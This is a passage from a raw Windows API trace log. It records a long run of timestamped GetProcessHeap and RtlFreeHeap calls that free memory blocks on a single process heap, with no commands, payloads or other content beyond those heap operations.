[0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aecc0) returned 1 [0135.076] GetProcessHeap () returned 0x11aa58a0000 [0135.076] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeb60) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeac0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae980) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58af020) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aebc0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae8a0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aece0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae960) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aed80) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae9c0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae900) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeda0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeb40) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aebe0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aef40) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aeca0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae9e0) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.077] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aea00) returned 1 [0135.077] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aea60) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aedc0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aede0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aec00) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aef60) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aee00) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aee20) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aefa0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aee40) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aee60) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aea80) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aec20) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aefc0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aec40) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aec60) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aefe0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae8c0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae920) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ae8e0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0180) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afe00) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.078] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b01e0) returned 1 [0135.078] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0200) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b01c0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0240) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0220) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0480) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0260) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b02c0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aff60) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0120) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0020) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b03c0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b02e0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b04a0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0300) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afdc0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0040) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b03e0) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0320) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.079] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0280) returned 1 [0135.079] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0360) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afd20) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0400) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afd80) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afe20) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aff40) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0340) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afe40) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afe60) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afea0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b00e0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b02a0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afe80) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afec0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0420) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0380) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b00c0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b01a0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aff80) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58affc0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b03a0) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0440) returned 1 [0135.080] GetProcessHeap () returned 0x11aa58a0000 [0135.080] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0460) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afd40) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afd60) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afda0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afde0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aff20) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0160) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0100) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58afee0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58aff00) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58affa0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58affe0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0000) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0060) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0080) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b00a0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0140) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0530) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0650) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b08f0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0cb0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b09b0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b08d0) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.081] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0890) returned 1 [0135.081] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0b90) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0910) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0bb0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0870) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0af0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0990) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0950) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b07d0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0b10) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0bd0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0750) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0a50) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0930) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0c50) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0550) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b07b0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b07f0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0bf0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0810) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0590) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0830) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b09d0) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0850) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0710) returned 1 [0135.082] GetProcessHeap () returned 0x11aa58a0000 [0135.082] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0670) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b08b0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0970) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b05b0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0690) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0c30) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0b30) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0ab0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0770) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0b50) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0a30) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b09f0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b06f0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0c10) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0a10) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0570) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0a70) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0a90) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0790) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b05d0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0ad0) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0b70) returned 1 [0135.083] GetProcessHeap () returned 0x11aa58a0000 [0135.083] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0630) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0c70) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0c90) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b05f0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0610) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b06b0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b06d0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0730) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0fc0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b11c0) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0f00) returned 1 [0135.084] GetProcessHeap () returned 0x11aa58a0000 [0135.084] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b0f80) returned 1 [0135.084] GetProcessHeap () returned 